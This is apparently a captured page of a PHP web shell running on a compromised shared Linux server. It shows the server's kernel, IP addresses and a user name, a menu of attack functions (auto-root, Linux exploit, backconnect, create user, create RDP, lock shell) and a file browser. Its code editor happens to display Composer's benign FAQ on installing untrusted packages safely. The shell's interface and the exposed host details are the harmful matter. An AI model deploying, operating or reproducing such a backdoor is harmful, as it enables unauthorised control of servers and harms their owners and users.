Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
composer /
composer /
doc /
faqs /
[ HOME SHELL ]
Name
Size
Permission
Action
how-do-i-install-a-package-to-...
2.17
KB
-rw-r--r--
how-to-install-composer-progra...
1.4
KB
-rw-r--r--
how-to-install-untrusted-packa...
1.39
KB
-rw-r--r--
should-i-commit-the-dependenci...
1.67
KB
-rw-r--r--
which-version-numbering-system...
153
B
-rw-r--r--
why-are-unbound-version-constr...
1.04
KB
-rw-r--r--
why-are-version-constraints-co...
989
B
-rw-r--r--
why-can't-composer-load-reposi...
2.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : how-to-install-untrusted-packages-safely.md
# How do I install untrusted packages safely? Is it safe to run Composer as superuser or root? Certain Composer commands, including `exec`, `install`, and `update` allow third party code to execute on your system. This is from its "plugins" and "scripts" features. Plugins and scripts have full access to the user account which runs Composer. For this reason, it is strongly advised to **avoid running Composer as super-user/root**. All commands also dispatch events which can be caught by plugins so unless explicitly disabled installed plugins will be loaded/executed by **every** Composer command. You can disable plugins and scripts during package installation or updates with the following syntax so only Composer's code, and no third party code, will execute: ```sh php composer.phar install --no-plugins --no-scripts ... php composer.phar update --no-plugins --no-scripts ... ``` Depending on the operating system we have seen cases where it is possible to trigger execution of files in the repository using specially crafted `composer.json`. So in general if you do want to install untrusted dependencies you should sandbox them completely in a container or equivalent. Also note that the `exec` command will always run third party code as the user which runs `composer`. See [Environment variable - COMPOSER_ALLOW_SUPERUSER](../03-cli.md#composer-allow-superuser) for more info on how to disable warning
Close